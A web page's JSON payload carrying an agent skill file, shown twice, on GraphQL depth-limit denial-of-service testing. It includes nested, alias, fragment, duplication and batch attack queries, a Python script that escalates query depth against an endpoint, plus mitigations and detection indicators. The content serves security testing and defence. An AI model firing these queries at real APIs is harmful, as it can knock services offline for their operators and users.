[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EPXRANN9ZS0K4S5K25C9VP":3,"skill-same:01M7EPXRANN9ZS0K4S5K25C9VP":73},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":45,"commitSha":46,"skillDirectory":47,"forksCount":48,"repositoryHtmlUrl":49,"repositoryHomepageUrl":6,"ownerHtmlUrl":50,"ownerBlogUrl":6,"ownerDescription":51,"updatedAt":52,"install":53,"resources":66},"01M7EPXRANN9ZS0K4S5K25C9VP","performing-graphql-depth-limit-attack",null,"Execute and test GraphQL depth limit attacks using deeply nested recursive queries to identify denial-of-service vulnerabilities in GraphQL APIs.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fperforming-graphql-depth-limit-attack\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-graphql-depth-limit-attack\ndescription: Execute and test GraphQL depth limit attacks using deeply nested recursive\n  queries to identify denial-of-service vulnerabilities in GraphQL APIs.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- graphql\n- depth-limit\n- denial-of-service\n- nested-queries\n- api-security\n- query-complexity\n- resource-exhaustion\n- penetration-testing\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n---\n\n# Performing GraphQL Depth Limit Attack\n\n## Overview\n\nGraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing graphql depth limit attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target GraphQL API endpoint with introspection enabled or known schema\n- GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)\n- Python 3.8+ with requests library for automated testing\n- Burp Suite or mitmproxy for traffic analysis\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Core Attack Techniques\n\n### 1. Recursive Depth Attack\n\nWhen a GraphQL schema has bidirectional relationships, queries can reference them recursively:\n\n```graphql\n# Schema with circular reference:\n# type User { posts: [Post] }\n# type Post { author: User }\n\n# Attack query with excessive nesting depth\nquery DepthAttack {\n  users {\n    posts {\n      author {\n        posts {\n          author {\n            posts {\n              author {\n                posts {\n                  author {\n                    posts {\n                      author {\n                        posts {\n                          title\n                          author {\n                            name\n                          }\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### 2. Alias-Based Amplification\n\nWhen batch queries are blocked, aliases can multiply the same field request within a single query:\n\n```graphql\nquery AliasAmplification {\n  a1: user(id: 1) { posts { author { name } } }\n  a2: user(id: 1) { posts { author { name } } }\n  a3: user(id: 1) { posts { author { name } } }\n  a4: user(id: 1) { posts { author { name } } }\n  a5: user(id: 1) { posts { author { name } } }\n  a6: user(id: 1) { posts { author { name } } }\n  a7: user(id: 1) { posts { author { name } } }\n  a8: user(id: 1) { posts { author { name } } }\n  a9: user(id: 1) { posts { author { name } } }\n  a10: user(id: 1) { posts { author { name } } }\n}\n```\n\n### 3. Fragment Spread Attack\n\nFragments can be used to construct complex, deeply nested queries more efficiently:\n\n```graphql\nfragment UserFields on User {\n  name\n  email\n  posts {\n    title\n    comments {\n      body\n      author {\n        ...NestedUser\n      }\n    }\n  }\n}\n\nfragment NestedUser on User {\n  name\n  posts {\n    title\n    author {\n      name\n      posts {\n        title\n        author {\n          name\n        }\n      }\n    }\n  }\n}\n\nquery FragmentAttack {\n  users {\n    ...UserFields\n  }\n}\n```\n\n### 4. Field Duplication Attack\n\nRepeating the same field multiple times within a selection set increases processing:\n\n```graphql\nquery FieldDuplication {\n  user(id: 1) {\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n  }\n}\n```\n\n### 5. Batch Query Attack\n\nSending multiple queries in a single HTTP request:\n\n```json\n[\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"}\n]\n```\n\n## Automated Testing Script\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"GraphQL Depth Limit Attack Testing Tool\n\nTests GraphQL endpoints for depth limiting vulnerabilities\nby sending progressively deeper nested queries.\n\"\"\"\n\nimport requests\nimport time\nimport json\nimport sys\nfrom typing import Optional\n\nclass GraphQLDepthTester:\n    def __init__(self, endpoint: str, headers: Optional[dict] = None):\n        self.endpoint = endpoint\n        self.headers = headers or {\"Content-Type\": \"application\u002Fjson\"}\n        self.results = []\n\n    def generate_nested_query(self, depth: int, field_a: str = \"posts\",\n                               field_b: str = \"author\",\n                               leaf_field: str = \"name\") -> str:\n        \"\"\"Generate a recursively nested GraphQL query to a specified depth.\"\"\"\n        query = \"{ users { \"\n        for i in range(depth):\n            if i % 2 == 0:\n                query += f\"{field_a} {{ \"\n            else:\n                query += f\"{field_b} {{ \"\n        query += leaf_field\n        query += \" }\" * (depth + 1)  # Close all braces\n        query += \" }\"\n        return query\n\n    def generate_alias_query(self, count: int, inner_query: str) -> str:\n        \"\"\"Generate a query with multiple aliases.\"\"\"\n        aliases = []\n        for i in range(count):\n            aliases.append(f\"a{i}: {inner_query}\")\n        return \"{ \" + \" \".join(aliases) + \" }\"\n\n    def send_query(self, query: str, timeout: int = 30) -> dict:\n        \"\"\"Send a GraphQL query and measure response metrics.\"\"\"\n        payload = json.dumps({\"query\": query})\n        start_time = time.time()\n        try:\n            response = requests.post(\n                self.endpoint,\n                data=payload,\n                headers=self.headers,\n                timeout=timeout\n            )\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": response.status_code,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": len(response.content),\n                \"has_errors\": \"errors\" in response.json() if response.status_code == 200 else True,\n                \"error_message\": self._extract_error(response),\n                \"success\": response.status_code == 200 and \"errors\" not in response.json()\n            }\n        except requests.exceptions.Timeout:\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": 0,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Request timed out\",\n                \"success\": False\n            }\n        except requests.exceptions.ConnectionError:\n            return {\n                \"status_code\": 0,\n                \"response_time\": 0,\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Connection refused - possible DoS\",\n                \"success\": False\n            }\n\n    def _extract_error(self, response) -> str:\n        try:\n            data = response.json()\n            if \"errors\" in data:\n                return data[\"errors\"][0].get(\"message\", \"Unknown error\")\n        except (json.JSONDecodeError, IndexError, KeyError):\n            pass\n        return \"\"\n\n    def test_depth_limits(self, max_depth: int = 20):\n        \"\"\"Progressively test increasing query depths.\"\"\"\n        print(f\"Testing depth limits from 1 to {max_depth}...\")\n        print(f\"{'Depth':\u003C8}{'Status':\u003C10}{'Time(s)':\u003C12}{'Size(B)':\u003C12}{'Result'}\")\n        print(\"-\" * 65)\n\n        for depth in range(1, max_depth + 1):\n            query = self.generate_nested_query(depth)\n            result = self.send_query(query)\n            result[\"depth\"] = depth\n            self.results.append(result)\n\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"{depth:\u003C8}{result['status_code']:\u003C10}{result['response_time']:\u003C12}\"\n                  f\"{result['response_size']:\u003C12}{status}\")\n\n            if result[\"error_message\"] and \"depth\" in result[\"error_message\"].lower():\n                print(f\"\\n[+] Depth limit detected at depth {depth}\")\n                print(f\"    Error: {result['error_message']}\")\n                return depth\n\n            if result[\"status_code\"] == 0:\n                print(f\"\\n[!] Server became unresponsive at depth {depth}\")\n                return depth\n\n        print(f\"\\n[!] WARNING: No depth limit detected up to depth {max_depth}\")\n        return None\n\n    def test_alias_amplification(self, alias_counts: list = None):\n        \"\"\"Test alias-based amplification attacks.\"\"\"\n        if alias_counts is None:\n            alias_counts = [1, 5, 10, 25, 50, 100]\n\n        print(f\"\\nTesting alias amplification...\")\n        inner = 'user(id: \"1\") { posts { title } }'\n\n        for count in alias_counts:\n            query = self.generate_alias_query(count, inner)\n            result = self.send_query(query)\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"  Aliases: {count:\u003C6} Status: {result['status_code']:\u003C6} \"\n                  f\"Time: {result['response_time']:\u003C8}s  {status}\")\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate a summary report of all tests.\"\"\"\n        successful = [r for r in self.results if r[\"success\"]]\n        blocked = [r for r in self.results if not r[\"success\"]]\n        max_successful_depth = max([r[\"depth\"] for r in successful], default=0)\n\n        return {\n            \"endpoint\": self.endpoint,\n            \"total_tests\": len(self.results),\n            \"successful_queries\": len(successful),\n            \"blocked_queries\": len(blocked),\n            \"max_successful_depth\": max_successful_depth,\n            \"depth_limit_enforced\": len(blocked) > 0,\n            \"vulnerability\": \"HIGH\" if max_successful_depth > 10 else\n                           \"MEDIUM\" if max_successful_depth > 5 else \"LOW\"\n        }\n\n\nif __name__ == \"__main__\":\n    endpoint = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:4000\u002Fgraphql\"\n    tester = GraphQLDepthTester(endpoint)\n    tester.test_depth_limits(max_depth=15)\n    tester.test_alias_amplification()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*50}\")\n    print(f\"REPORT SUMMARY\")\n    print(f\"{'='*50}\")\n    for key, value in report.items():\n        print(f\"  {key}: {value}\")\n```\n\n## Mitigation Strategies\n\n### Depth Limiting\n\n```javascript\n\u002F\u002F Using graphql-depth-limit (Node.js)\nconst depthLimit = require('graphql-depth-limit');\nconst server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  validationRules: [depthLimit(5)]\n});\n```\n\n### Query Complexity Analysis\n\n```javascript\n\u002F\u002F Using graphql-query-complexity\nconst { createComplexityRule } = require('graphql-query-complexity');\n\nconst complexityRule = createComplexityRule({\n  maximumComplexity: 1000,\n  estimators: [\n    fieldExtensionsEstimator(),\n    simpleEstimator({ defaultComplexity: 1 })\n  ],\n  onComplete: (complexity) => {\n    console.log('Query complexity:', complexity);\n  }\n});\n```\n\n### Rate Limiting and Timeout Controls\n\n```python\n# Server-side timeout configuration\nGRAPHQL_CONFIG = {\n    \"max_depth\": 5,\n    \"max_complexity\": 1000,\n    \"max_aliases\": 10,\n    \"query_timeout_seconds\": 10,\n    \"max_batch_size\": 5,\n    \"rate_limit_per_minute\": 100\n}\n```\n\n## Detection Indicators\n\n- Unusually deep or complex GraphQL queries in server logs\n- Spike in response times correlated with specific query patterns\n- High memory or CPU usage on GraphQL server processes\n- Repeated requests with incrementally increasing query complexity\n- Large response payloads from single query requests\n\n## References\n\n- OWASP GraphQL Cheat Sheet: https:\u002F\u002Fcheatsheetseries.owasp.org\u002Fcheatsheets\u002FGraphQL_Cheat_Sheet.html\n- Apollo GraphQL Security Guide: https:\u002F\u002Fwww.apollographql.com\u002Fblog\u002Fsecuring-your-graphql-api-from-malicious-queries\n- Checkmarx GraphQL Depth Exploitation: https:\u002F\u002Fcheckmarx.com\u002Fblog\u002Fexploiting-graphql-query-depth\u002F\n- GraphQL.org Security: https:\u002F\u002Fgraphql.org\u002Flearn\u002Fsecurity\u002F\n- Escape.tech Cyclic Queries: https:\u002F\u002Fescape.tech\u002Fblog\u002Fcyclic-queries-and-depth-limit\u002F\n- PortSwigger GraphQL Vulnerabilities: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fgraphql\n","# Performing GraphQL Depth Limit Attack\n\n## Overview\n\nGraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing graphql depth limit attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target GraphQL API endpoint with introspection enabled or known schema\n- GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)\n- Python 3.8+ with requests library for automated testing\n- Burp Suite or mitmproxy for traffic analysis\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Core Attack Techniques\n\n### 1. Recursive Depth Attack\n\nWhen a GraphQL schema has bidirectional relationships, queries can reference them recursively:\n\n```graphql\n# Schema with circular reference:\n# type User { posts: [Post] }\n# type Post { author: User }\n\n# Attack query with excessive nesting depth\nquery DepthAttack {\n  users {\n    posts {\n      author {\n        posts {\n          author {\n            posts {\n              author {\n                posts {\n                  author {\n                    posts {\n                      author {\n                        posts {\n                          title\n                          author {\n                            name\n                          }\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### 2. Alias-Based Amplification\n\nWhen batch queries are blocked, aliases can multiply the same field request within a single query:\n\n```graphql\nquery AliasAmplification {\n  a1: user(id: 1) { posts { author { name } } }\n  a2: user(id: 1) { posts { author { name } } }\n  a3: user(id: 1) { posts { author { name } } }\n  a4: user(id: 1) { posts { author { name } } }\n  a5: user(id: 1) { posts { author { name } } }\n  a6: user(id: 1) { posts { author { name } } }\n  a7: user(id: 1) { posts { author { name } } }\n  a8: user(id: 1) { posts { author { name } } }\n  a9: user(id: 1) { posts { author { name } } }\n  a10: user(id: 1) { posts { author { name } } }\n}\n```\n\n### 3. Fragment Spread Attack\n\nFragments can be used to construct complex, deeply nested queries more efficiently:\n\n```graphql\nfragment UserFields on User {\n  name\n  email\n  posts {\n    title\n    comments {\n      body\n      author {\n        ...NestedUser\n      }\n    }\n  }\n}\n\nfragment NestedUser on User {\n  name\n  posts {\n    title\n    author {\n      name\n      posts {\n        title\n        author {\n          name\n        }\n      }\n    }\n  }\n}\n\nquery FragmentAttack {\n  users {\n    ...UserFields\n  }\n}\n```\n\n### 4. Field Duplication Attack\n\nRepeating the same field multiple times within a selection set increases processing:\n\n```graphql\nquery FieldDuplication {\n  user(id: 1) {\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n  }\n}\n```\n\n### 5. Batch Query Attack\n\nSending multiple queries in a single HTTP request:\n\n```json\n[\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"}\n]\n```\n\n## Automated Testing Script\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"GraphQL Depth Limit Attack Testing Tool\n\nTests GraphQL endpoints for depth limiting vulnerabilities\nby sending progressively deeper nested queries.\n\"\"\"\n\nimport requests\nimport time\nimport json\nimport sys\nfrom typing import Optional\n\nclass GraphQLDepthTester:\n    def __init__(self, endpoint: str, headers: Optional[dict] = None):\n        self.endpoint = endpoint\n        self.headers = headers or {\"Content-Type\": \"application\u002Fjson\"}\n        self.results = []\n\n    def generate_nested_query(self, depth: int, field_a: str = \"posts\",\n                               field_b: str = \"author\",\n                               leaf_field: str = \"name\") -> str:\n        \"\"\"Generate a recursively nested GraphQL query to a specified depth.\"\"\"\n        query = \"{ users { \"\n        for i in range(depth):\n            if i % 2 == 0:\n                query += f\"{field_a} {{ \"\n            else:\n                query += f\"{field_b} {{ \"\n        query += leaf_field\n        query += \" }\" * (depth + 1)  # Close all braces\n        query += \" }\"\n        return query\n\n    def generate_alias_query(self, count: int, inner_query: str) -> str:\n        \"\"\"Generate a query with multiple aliases.\"\"\"\n        aliases = []\n        for i in range(count):\n            aliases.append(f\"a{i}: {inner_query}\")\n        return \"{ \" + \" \".join(aliases) + \" }\"\n\n    def send_query(self, query: str, timeout: int = 30) -> dict:\n        \"\"\"Send a GraphQL query and measure response metrics.\"\"\"\n        payload = json.dumps({\"query\": query})\n        start_time = time.time()\n        try:\n            response = requests.post(\n                self.endpoint,\n                data=payload,\n                headers=self.headers,\n                timeout=timeout\n            )\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": response.status_code,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": len(response.content),\n                \"has_errors\": \"errors\" in response.json() if response.status_code == 200 else True,\n                \"error_message\": self._extract_error(response),\n                \"success\": response.status_code == 200 and \"errors\" not in response.json()\n            }\n        except requests.exceptions.Timeout:\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": 0,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Request timed out\",\n                \"success\": False\n            }\n        except requests.exceptions.ConnectionError:\n            return {\n                \"status_code\": 0,\n                \"response_time\": 0,\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Connection refused - possible DoS\",\n                \"success\": False\n            }\n\n    def _extract_error(self, response) -> str:\n        try:\n            data = response.json()\n            if \"errors\" in data:\n                return data[\"errors\"][0].get(\"message\", \"Unknown error\")\n        except (json.JSONDecodeError, IndexError, KeyError):\n            pass\n        return \"\"\n\n    def test_depth_limits(self, max_depth: int = 20):\n        \"\"\"Progressively test increasing query depths.\"\"\"\n        print(f\"Testing depth limits from 1 to {max_depth}...\")\n        print(f\"{'Depth':\u003C8}{'Status':\u003C10}{'Time(s)':\u003C12}{'Size(B)':\u003C12}{'Result'}\")\n        print(\"-\" * 65)\n\n        for depth in range(1, max_depth + 1):\n            query = self.generate_nested_query(depth)\n            result = self.send_query(query)\n            result[\"depth\"] = depth\n            self.results.append(result)\n\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"{depth:\u003C8}{result['status_code']:\u003C10}{result['response_time']:\u003C12}\"\n                  f\"{result['response_size']:\u003C12}{status}\")\n\n            if result[\"error_message\"] and \"depth\" in result[\"error_message\"].lower():\n                print(f\"\\n[+] Depth limit detected at depth {depth}\")\n                print(f\"    Error: {result['error_message']}\")\n                return depth\n\n            if result[\"status_code\"] == 0:\n                print(f\"\\n[!] Server became unresponsive at depth {depth}\")\n                return depth\n\n        print(f\"\\n[!] WARNING: No depth limit detected up to depth {max_depth}\")\n        return None\n\n    def test_alias_amplification(self, alias_counts: list = None):\n        \"\"\"Test alias-based amplification attacks.\"\"\"\n        if alias_counts is None:\n            alias_counts = [1, 5, 10, 25, 50, 100]\n\n        print(f\"\\nTesting alias amplification...\")\n        inner = 'user(id: \"1\") { posts { title } }'\n\n        for count in alias_counts:\n            query = self.generate_alias_query(count, inner)\n            result = self.send_query(query)\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"  Aliases: {count:\u003C6} Status: {result['status_code']:\u003C6} \"\n                  f\"Time: {result['response_time']:\u003C8}s  {status}\")\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate a summary report of all tests.\"\"\"\n        successful = [r for r in self.results if r[\"success\"]]\n        blocked = [r for r in self.results if not r[\"success\"]]\n        max_successful_depth = max([r[\"depth\"] for r in successful], default=0)\n\n        return {\n            \"endpoint\": self.endpoint,\n            \"total_tests\": len(self.results),\n            \"successful_queries\": len(successful),\n            \"blocked_queries\": len(blocked),\n            \"max_successful_depth\": max_successful_depth,\n            \"depth_limit_enforced\": len(blocked) > 0,\n            \"vulnerability\": \"HIGH\" if max_successful_depth > 10 else\n                           \"MEDIUM\" if max_successful_depth > 5 else \"LOW\"\n        }\n\n\nif __name__ == \"__main__\":\n    endpoint = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:4000\u002Fgraphql\"\n    tester = GraphQLDepthTester(endpoint)\n    tester.test_depth_limits(max_depth=15)\n    tester.test_alias_amplification()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*50}\")\n    print(f\"REPORT SUMMARY\")\n    print(f\"{'='*50}\")\n    for key, value in report.items():\n        print(f\"  {key}: {value}\")\n```\n\n## Mitigation Strategies\n\n### Depth Limiting\n\n```javascript\n\u002F\u002F Using graphql-depth-limit (Node.js)\nconst depthLimit = require('graphql-depth-limit');\nconst server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  validationRules: [depthLimit(5)]\n});\n```\n\n### Query Complexity Analysis\n\n```javascript\n\u002F\u002F Using graphql-query-complexity\nconst { createComplexityRule } = require('graphql-query-complexity');\n\nconst complexityRule = createComplexityRule({\n  maximumComplexity: 1000,\n  estimators: [\n    fieldExtensionsEstimator(),\n    simpleEstimator({ defaultComplexity: 1 })\n  ],\n  onComplete: (complexity) => {\n    console.log('Query complexity:', complexity);\n  }\n});\n```\n\n### Rate Limiting and Timeout Controls\n\n```python\n# Server-side timeout configuration\nGRAPHQL_CONFIG = {\n    \"max_depth\": 5,\n    \"max_complexity\": 1000,\n    \"max_aliases\": 10,\n    \"query_timeout_seconds\": 10,\n    \"max_batch_size\": 5,\n    \"rate_limit_per_minute\": 100\n}\n```\n\n## Detection Indicators\n\n- Unusually deep or complex GraphQL queries in server logs\n- Spike in response times correlated with specific query patterns\n- High memory or CPU usage on GraphQL server processes\n- Repeated requests with incrementally increasing query complexity\n- Large response payloads from single query requests\n\n## References\n\n- OWASP GraphQL Cheat Sheet: https:\u002F\u002Fcheatsheetseries.owasp.org\u002Fcheatsheets\u002FGraphQL_Cheat_Sheet.html\n- Apollo GraphQL Security Guide: https:\u002F\u002Fwww.apollographql.com\u002Fblog\u002Fsecuring-your-graphql-api-from-malicious-queries\n- Checkmarx GraphQL Depth Exploitation: https:\u002F\u002Fcheckmarx.com\u002Fblog\u002Fexploiting-graphql-query-depth\u002F\n- GraphQL.org Security: https:\u002F\u002Fgraphql.org\u002Flearn\u002Fsecurity\u002F\n- Escape.tech Cyclic Queries: https:\u002F\u002Fescape.tech\u002Fblog\u002Fcyclic-queries-and-depth-limit\u002F\n- PortSwigger GraphQL Vulnerabilities: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fgraphql\n",{"name":5,"tags":24,"author":33,"domain":34,"license":15,"version":35,"nist_csf":36,"subdomain":29,"description":7,"mitre_attack":41},[25,26,27,28,29,30,31,32],"graphql","depth-limit","denial-of-service","nested-queries","api-security","query-complexity","resource-exhaustion","penetration-testing","mahipal","cybersecurity","1.0",[37,38,39,40],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[42,43,44],"T1190","T1059.007","T1552.001","main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fperforming-graphql-depth-limit-attack",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":54,"prompt":64,"zipAvailable":65},[55,58,61],{"tool":56,"command":57},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill performing-graphql-depth-limit-attack",{"tool":59,"command":60},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill performing-graphql-depth-limit-attack",{"tool":62,"command":63},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill performing-graphql-depth-limit-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fperforming-graphql-depth-limit-attack\u002FSKILL.md",true,[67],{"path":68,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":72},"references\u002Fapi-reference.md","REFERENCE","参考文档",1667,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fperforming-graphql-depth-limit-attack\u002Freferences\u002Fapi-reference.md",[74,83,88,95,102,109],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":82},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":84,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":85,"categories":86,"keywords":87,"publishedAt":82},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":89,"name":90,"nameZh":6,"description":91,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":92,"categories":93,"keywords":94,"publishedAt":82},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":82},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":82},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":115,"publishedAt":82},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]